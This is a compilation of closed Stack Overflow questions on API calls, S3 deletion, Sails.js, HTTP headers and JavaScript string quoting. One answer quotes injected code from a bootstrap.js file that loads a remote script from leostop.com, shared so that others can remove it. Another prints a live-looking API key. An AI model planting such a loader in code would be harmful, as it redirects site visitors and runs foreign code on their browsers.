Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 6 years ago.
Improve this question
I'm making a call to:
DELETE {baseurl}/accounts/{accountId}/users
Request body contains:
{"users":[{"email":"<an email>"}]}
Response:
ERROR 400 Bad Request
{"errorCode": "INVALID_REQUEST_BODY",
"message": "The request body is missing or improperly formatted."}
What am I missing?
I was able to "delete" the user using RestSharp. So it is an api explorer issue.
Please see the documentation for the correct parameter usage: https://www.docusign.com/p/RESTAPIGuide/RESTAPIGuide.htm#REST%20API%20References/Close%20a%20User.htm?Highlight=delete%20user
FYI I tested and a DELETE worked fine. I used the following JSON.
{
"users":[{
"userId":"7f7d3f01-9894-4479-9108-fee8c250xxxx"
}]
}
I just fixed this in the API explorer. Please try now and let me know in case you are still running into issues.
Related
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
my website redirects itself to this site : https://leostop.com/tracking/tracking.php?full_url=http://mywebsite.
Why does this happen and how do i solve this situation?
Thanks...
Search for the phrase "leostop" in your project source code and remove the code related to it.
I too encountered the same problem, for me, the code to redirect is written in bootstrap.js file.
var protocol = location.protocol;
$.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
I removed this above code and it solved the problem for me.
I hope it helps.
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 4 years ago.
Improve this question
I'm using the request lib request in my project and I need to inform to the API of another company (I can't modify the server) that a transaction was did.
Anyway, to inform to this API I need to use a custom header named api_key and when I try to do this, like that:
reqOptions = {
url: 'https://my_url_here.com',
body: JSON.stringify(transaction),
headers: {
'Content-Type': 'text/xml',
'charset': 'UTF-8',
'api_key:': 'my_api_key_here'
}
};
I'm getting the error:
error: TypeError [ERR_INVALID_HTTP_TOKEN]: Header name must be a valid HTTP token ["api_key:"]
How can I set the custom header?
Please check Custom HTTP Headers.
Your header have :
try use api_key.
Try change:
'api_key:': 'ak_live_a2a8ffae58614a42f6ab67c80a552eb1488e6'
to:
'api_key': 'ak_live_a2a8ffae58614a42f6ab67c80a552eb1488e6'
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 7 years ago.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Improve this question
i'm using aws-sdk in nodejs, this is the part of the code that delete the files:
var s3_params = {
Bucket: util.getEnvVar('AWS_S3_BUCKET'),
Delete: {Objects: [{Key: document.bucket_path }]}
};
s3.deleteObjects(s3_params, function (err, data) {
if (err) {
res.send(err);
} else {
res.send(data);
}
});
The response that return from amazon look fine, but when i look on the bucket inside the s3 interface the file still exist.
also try to use "deleteObject" method with no success.
Thanks.
The code looks good. Are you sure you are passing a Key of a file that exists? Beware that if you try to delete a Key that does not exist, AWS won't throw an error, check this question.
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
I wrote the following example controller using Sails.js:
userController.js
module.exports = {
test: function(req, res){
console.log('test')
res.json('test')
}
};
When I run sails.js and send it to that route (user/test), it appears to execute that code twice and outputs test twice in my WebStorm debug window:
"test"
"test"
How do I keep Sails.js from executing the same code twice?
I couldn't reproduce your issue. I tried really hard to reproduce it.
I created the same controller you have in your question, and I ran the code -- but not in WebStorm, I ran it from the command line. Since you're using console.log("test"), I should be able to see the console output test twice if your code is doing what you're saying it's doing, however, I couldn't get that to happen:
As you can see from the screenshot, the console output test once, and the webbrowser output a response of test, which exactly matches the code you've given:
module.exports = {
test: function(req, res){
console.log('test') //output test to console
res.json('test') //output test to the response
}
};
I can't reproduce the issue as you've shown it; and there's no indication that controller is getting executed twice.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have difficulty to solve this string problem
contentString = '<div id="infoHead">Drag me for new coordinates.</br></div>'+results[1].formatted_address+'<div id="latlng">'+
'Latitude: '+dmsLat+'</br>'+'Longitude: '+dmsLng+'</div>'+'</br>'+'<a href="//www.youtube.com/embed/Mzja4le8htk"'
+ 'style="width=420px; height=315px"'
+ 'onclick=' + '"window.open(this.href,'rockclimbing','left=400,top=250,width=420,height=315,toolbar=1,resizable=0');return false;"'
+ '>Click here for more details</a>'
For example through this code:
'"window.open(this.href,'rockclimbing','left=400,top=250,width=420,height=315,toolbar=1,resizable=0');return false;"'
it's show some error where rockclimbing and start from left until sizeable=0 cannot put single quatotion.
So how to solve this problem?
I can't provide the link since this is my second project. Any kind of help I'm really appreciated.
You need to escape the inner quotes:
'"window.open(this.href,\'rockclimbing\',\'left=400,top=250,width=420,height=315,toolbar=1,resizable=0\');return false;"'
Otherwise the single quote before rockclimbing terminates the string.
I will show you how to find your errors.
I am only including our example up to the first error.
As you move this piece into your environment this error should go away, provided
results[1].formatted_address
can be converted to a string.
Move in more and more of your original code as you fix your errors.
Good Luck!
Code Wrapped in Exception Handler for Error Reporting
try {
contentString = '<div id="infoHead">Drag me for new coordinates.</br></div>'
+results[1].formatted_address;
} catch(exception) {
console.log(exception.stack);
}
Console Log Output for Error Diagnosis
ReferenceError: results is not defined
at <anonymous>:2:84
at Object.InjectedScript._evaluateOn (<anonymous>:580:39)
at Object.InjectedScript._evaluateAndWrap (<anonymous>:539:52)
at Object.InjectedScript.evaluate (<anonymous>:458:21)